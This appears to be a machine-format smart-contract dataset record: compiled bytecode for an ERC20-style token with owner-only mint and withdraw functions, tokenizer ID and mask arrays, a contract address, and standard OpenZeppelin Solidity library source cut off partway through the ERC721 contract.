0x6080604052600436106100f75760003560e01c806395d89b411161008a578063bb2bafad11610059578063bb2bafad1461039e578063d6f8560d146103b5578063db1c8a98146103cc578063dd62ed3e146103f757610117565b806395d89b41146102d0578063a0712d68146102fb578063a457c2d714610324578063a9059cbb1461036157610117565b8063313ce567116100c6578063313ce56714610202578063395093511461022d57806342966c681461026a57806370a082311461029357610117565b806306fdde0314610132578063095ea7b31461015d57806318160ddd1461019a57806323b872dd146101c557610117565b3661011757346005600082825461010e91906119d2565b92505081905550005b346005600082825461012991906119d2565b92505081905550005b34801561013e57600080fd5b50610147610434565b60405161015491906117de565b60405180910390f35b34801561016957600080fd5b50610184600480360381019061017f91906114c1565b6104c6565b60405161019191906117c3565b60405180910390f35b3480156101a657600080fd5b506101af6104e9565b6040516101bc9190611980565b60405180910390f35b3480156101d157600080fd5b506101ec60048036038101906101e7919061146e565b6104f3565b6040516101f991906117c3565b60405180910390f35b34801561020e57600080fd5b50610217610522565b604051610224919061199b565b60405180910390f35b34801561023957600080fd5b50610254600480360381019061024f91906114c1565b61052b565b60405161026191906117c3565b60405180910390f35b34801561027657600080fd5b50610291600480360381019061028c9190611501565b6105d5565b005b34801561029f57600080fd5b506102ba60048036038101906102b59190611401565b61061d565b6040516102c79190611980565b60405180910390f35b3480156102dc57600080fd5b506102e5610665565b6040516102f291906117de565b60405180910390f35b34801561030757600080fd5b50610322600480360381019061031d9190611501565b6106f7565b005b34801561033057600080fd5b5061034b600480360381019061034691906114c1565b6107cf565b60405161035891906117c3565b60405180910390f35b34801561036d57600080fd5b50610388600480360381019061038391906114c1565b6108b9565b60405161039591906117c3565b60405180910390f35b3480156103aa57600080fd5b506103b36108dc565b005b3480156103c157600080fd5b506103ca610a07565b005b3480156103d857600080fd5b506103e1610b29565b6040516103ee9190611980565b60405180910390f35b34801561040357600080fd5b5061041e6004803603810190610419919061142e565b610b2f565b60405161042b9190611980565b60405180910390f35b60606003805461044390611ae4565b80601f016020809104026020016040519081016040528092919081815260200182805461046f90611ae4565b80156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b5050505050905090565b6000806104d1610bb6565b90506104de818585610bbe565b600191505092915050565b6000600254905090565b6000806104fe610bb6565b905061050b858285610d89565b610516858585610e15565b60019150509392505050565b60006012905090565b600080610536610bb6565b90506105ca818585600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105c591906119d2565b610bbe565b600191505092915050565b6105df3382611096565b7f0c36a3ee10702b3f4c4a0cbc8fb77f1454bc72ab7727783746bde5ff55340e7d3382426040516106129392919061178c565b60405180910390a150565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461067490611ae4565b80601f01602080910402602001604051908101604052809291908181526020018280546106a090611ae4565b80156106ed5780601f106106c2576101008083540402835291602001916106ed565b820191906000526020600020905b8154815290600101906020018083116106d057829003601f168201915b5050505050905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077e90611860565b60405180910390fd5b610791338261126d565b7f83199a9581094d6df7315bcdebf919c1ea05a0ceee21e5289217292fe592ef333382426040516107c49392919061178c565b60405180910390a150565b6000806107da610bb6565b90506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790611940565b60405180910390fd5b6108ad8286868403610bbe565b60019250505092915050565b6000806108c4610bb6565b90506108d1818585610e15565b600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461096c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096390611860565b60405180910390fd5b60006109773061061d565b9050600081116109bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b390611880565b60405180910390fd5b6109c7303383610e15565b7f5732ed4206f25b13036055672fde80082b4bae54436e1da42b0016950c134bf2333083426040516109fc9493929190611747565b60405180910390a150565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8e90611860565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610ae2573d6000803e3d6000fd5b5060006005819055507ff7a6b9124ad7d9df9ca77a8475bc5db166c249579480d81d2ad8890f711da68d338242604051610b1e9392919061178c565b60405180910390a150565b60055481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2590611920565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9590611840565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d7c9190611980565b60405180910390a3505050565b6000610d958484610b2f565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e0f5781811015610e01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df8906118a0565b60405180910390fd5b610e0e8484848403610bbe565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7c90611900565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90611800565b60405180910390fd5b610f008383836113cd565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7d906118c0565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461101991906119d2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161107d9190611980565b60405180910390a36110908484846113d2565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611106576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fd906118e0565b60405180910390fd5b611112826000836113cd565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118f90611820565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546111ef9190611a28565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112549190611980565b60405180910390a3611268836000846113d2565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d490611960565b60405180910390fd5b6112e9600083836113cd565b80600260008282546112fb91906119d2565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461135091906119d2565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113b59190611980565b60405180910390a36113c9600083836113d2565b5050565b505050565b505050565b6000813590506113e681611ea6565b92915050565b6000813590506113fb81611ebd565b92915050565b60006020828403121561141757611416611b74565b5b6000611425848285016113d7565b91505092915050565b6000806040838503121561144557611444611b74565b5b6000611453858286016113d7565b9250506020611464858286016113d7565b9150509250929050565b60008060006060848603121561148757611486611b74565b5b6000611495868287016113d7565b93505060206114a6868287016113d7565b92505060406114b7868287016113ec565b9150509250925092565b600080604083850312156114d8576114d7611b74565b5b60006114e6858286016113d7565b92505060206114f7858286016113ec565b9150509250929050565b60006020828403121561151757611516611b74565b5b6000611525848285016113ec565b91505092915050565b61153781611a5c565b82525050565b61154681611a6e565b82525050565b6000611557826119b6565b61156181856119c1565b9350611571818560208601611ab1565b61157a81611b79565b840191505092915050565b60006115926023836119c1565b915061159d82611b8a565b604082019050919050565b60006115b56022836119c1565b91506115c082611bd9565b604082019050919050565b60006115d86022836119c1565b91506115e382611c28565b604082019050919050565b60006115fb6012836119c1565b915061160682611c77565b602082019050919050565b600061161e600a836119c1565b915061162982611ca0565b602082019050919050565b6000611641601d836119c1565b915061164c82611cc9565b602082019050919050565b60006116646026836119c1565b915061166f82611cf2565b604082019050919050565b60006116876021836119c1565b915061169282611d41565b604082019050919050565b60006116aa6025836119c1565b91506116b582611d90565b604082019050919050565b60006116cd6024836119c1565b91506116d882611ddf565b604082019050919050565b60006116f06025836119c1565b91506116fb82611e2e565b604082019050919050565b6000611713601f836119c1565b915061171e82611e7d565b602082019050919050565b61173281611a9a565b82525050565b61174181611aa4565b82525050565b600060808201905061175c600083018761152e565b611769602083018661152e565b6117766040830185611729565b6117836060830184611729565b95945050505050565b60006060820190506117a1600083018661152e565b6117ae6020830185611729565b6117bb6040830184611729565b949350505050565b60006020820190506117d8600083018461153d565b92915050565b600060208201905081810360008301526117f8818461154c565b905092915050565b6000602082019050818103600083015261181981611585565b9050919050565b60006020820190508181036000830152611839816115a8565b9050919050565b60006020820190508181036000830152611859816115cb565b9050919050565b60006020820190508181036000830152611879816115ee565b9050919050565b6000602082019050818103600083015261189981611611565b9050919050565b600060208201905081810360008301526118b981611634565b9050919050565b600060208201905081810360008301526118d981611657565b9050919050565b600060208201905081810360008301526118f98161167a565b9050919050565b600060208201905081810360008301526119198161169d565b9050919050565b60006020820190508181036000830152611939816116c0565b9050919050565b60006020820190508181036000830152611959816116e3565b9050919050565b6000602082019050818103600083015261197981611706565b9050919050565b60006020820190506119956000830184611729565b92915050565b60006020820190506119b06000830184611738565b92915050565b600081519050919050565b600082825260208201905092915050565b60006119dd82611a9a565b91506119e883611a9a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a1d57611a1c611b16565b5b828201905092915050565b6000611a3382611a9a565b9150611a3e83611a9a565b925082821015611a5157611a50611b16565b5b828203905092915050565b6000611a6782611a7a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611acf578082015181840152602081019050611ab4565b83811115611ade576000848401525b50505050565b60006002820490506001821680611afc57607f821691505b60208210811415611b1057611b0f611b45565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f6e6c7920636f6e74726163744f776e65720000000000000000000000000000600082015250565b7f4e6f2062616c616e636500000000000000000000000000000000000000000000600082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611eaf81611a5c565b8114611eba57600080fd5b50565b611ec681611a9a565b8114611ed157600080fd5b5056fea2646970667358221220703b7a5664ce28cd9976db509de739c1248d76df57973ead82afe93d1ab7845a64736f6c63430008070033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 21486, 15136, 18139, 2278, 2683, 2683, 2581, 2581, 2575, 2620, 2475, 4402, 2546, 23632, 26976, 20958, 2549, 2063, 2549, 2063, 22932, 2581, 2497, 2487, 10354, 21926, 4215, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1058, 2509, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,081
0x9631394E8f4036B6Ec2469f9F580D1Ce1C9C3565
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC721.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./IERC721Receiver.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../utils/EnumerableSet.sol"; import "../../utils/EnumerableMap.sol"; import "../../utils/Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = 